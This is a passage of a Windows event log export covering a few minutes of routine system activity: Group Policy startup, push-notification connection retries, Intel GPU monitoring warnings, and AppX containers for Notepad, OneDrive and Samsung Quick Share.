started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.189\t5116\tSuccessfully completed the Group Policy Service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5320\tThe Group Policy Client service is currently configured as a standalone service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5320\tInitializing and reading current service configuration for the Group Policy Client service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5320\tInitializing service instance state to detect previous instances of the service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5321\tA previous instance of the Group Policy Client Service was detected. Parameter: 617633a1-9144-4ef0-bf9e-2368ace073ed\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.190\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.191\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.546\t27\tConnection state - All connections have succeeded since the previous period.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:59:10.188\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.188\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.188\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.190\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.190\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.190\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.207\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.207\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.215\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.231\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.235\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:10.235\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:17.832\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:17.838\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:18.610\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:18.845\t217\tDestroyed Desktop AppX container {245CDE08-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsTerminal_1.24.11911.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:18.849\t217\tDestroyed Desktop AppX container {245CDE03-A8C9-11F1-B7FF-289200F24A99} for package MonitorManage_1.0.0.1_neutral__s7rhbyg9f8xr8.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:18.947\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:19.010\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:19.010\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:19.011\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:19.011\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:19.282\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:19.505\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:19.575\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:59:19.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:20.037\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:20.043\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:21.922\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:21.925\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:22.370\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:23.592\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:23.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:24.483\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:24.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:24.827\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:24.832\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:27.778\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:27.778\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:27.778\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:27.786\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:35.197\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WMIProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:59:38.471\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:38.475\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:39.140\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:39.587\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:39.811\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:40.145\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:40.590\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:40.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:41.370\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:41.700\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:41.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:42.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:42.372\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:42.376\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:42.381\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:44.820\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:59:44.837\t210\tCreated Desktop AppX container {245CDE44-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.837\t211\tAdded process 4704 to Desktop AppX container 245cde44-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.899\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:59:44.920\t16\tThe access history in hive \\??\\C:\\Users\\admin\\AppData\\Local\\Packages\\SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy\\SystemAppData\\Helium\\User.dat was cleared updating 1 keys and creating 1 modified pages.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:59:44.921\t16\tThe access history in hive \\??\\C:\\Users\\admin\\AppData\\Local\\Packages\\SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy\\SystemAppData\\Helium\\UserClasses.dat was cleared updating 1 keys and creating 1 modified pages.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:59:44.922\t16\tThe access history in hive \\??\\C:\\ProgramData\\Packages\\SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy\\S-1-5-21-3712849175-2219398513-4278588552-1006\\SystemAppData\\Helium\\Cache\\446d4697ac2953bf_COM15.dat was cleared updating 1 keys and creating 1 modified pages.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:59:44.925\t210\tCreated Desktop AppX container {245CDE49-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.925\t211\tAdded process 9300 to Desktop AppX container 245cde49-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.980\t210\tCreated Desktop AppX container {245CDE4E-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:44.980\t211\tAdded process 11556 to Desktop AppX container 245cde4e-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:55.484\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.508\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.510\t28115\tShortcut for application WINWORD.EXE - Shortcut with ID Microsoft.Office.WINWORD.EXE.15 and flags 0x10 is added to app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.514\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.517\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:59:55.525\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:59:58.529\t217\tDestroyed Desktop AppX container {245CDE4E-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:58.530\t217\tDestroyed Desktop AppX container {245CDE44-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:58.543\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:59:58.544\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:59:58.549\t217\tDestroyed Desktop AppX container {245CDE49-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:59:59.305\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:59.309\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:59.635\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:59.858\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:00.191\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:00.414\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:00.636\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:00.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.080\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.747\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.914\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:01.937\t210\tCreated Desktop AppX container {245CDE56-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:01.937\t211\tAdded process 3380 to Desktop AppX container 245cde56-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:01.971\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:01.995\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:00:02.021\t210\tCreated Desktop AppX container {245CDE5B-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:02.021\t211\tAdded process 7048 to Desktop AppX container 245cde5b-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:02.065\t210\tCreated Desktop AppX container {245CDE60-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:02.065\t211\tAdded process 13176 to Desktop AppX container 245cde60-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.OneDriveSync_26150.804.11.0_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:00:02.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:02.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:03.286\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:03.306\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:00:03.310\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked 